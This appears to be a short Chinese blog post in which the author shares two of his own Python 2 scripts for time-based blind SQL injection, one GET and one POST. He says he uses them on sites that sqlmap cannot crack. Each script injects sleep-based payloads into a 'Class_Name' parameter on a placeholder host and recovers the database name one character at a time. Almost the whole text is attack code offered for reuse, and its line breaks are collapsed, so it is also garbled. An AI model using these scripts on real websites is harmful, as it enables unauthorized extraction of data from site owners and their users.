自己写的一段Python脚本,经常拿来验证一些sqlmap等工具跑不出数据的网站。
GET类型:
import urllib import urllib2 import time payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' } values={} print 'Start to retrive database:' user= '' for i in range(1, 15): for payload in payloads: try: values['action']='show' values['page']=1 values['Class_Name']="/*'XOR(if(ascii(mid(database()from(%s)for(1)))=%s,sleep(5),0))OR'*/ " %(i,ord(payload)) data = urllib.urlencode(values) url = "http://www.xxx.com:80/dmlist.php" geturl = url+'?'+data request = urllib2.Request(geturl,headers=header) response = urllib2.urlopen(request,timeout=5) result=response.read() print '.', except: user += payload print '\n[in progress]', user time.sleep(3.0) break
POST类型:
import urllib import urllib2 import time payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.' header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)' } values={} print 'Start to retrive database:' user= '' for i in range(1, 15): for payload in payloads: try: values['page']=1 values['Class_Name']="if(ascii(mid(database(),%s,1))=%s,sleep(3),0) " %(i,ord(payload)) data = urllib.urlencode(values) url = "http://www.xxx.com:80/ajaxGetInfoList.do" request = urllib2.Request(url,data,headers=header) response = urllib2.urlopen(request,timeout=5) result=response.read() print '.', except: user += payload print '\n[in progress]', user time.sleep(3.0) break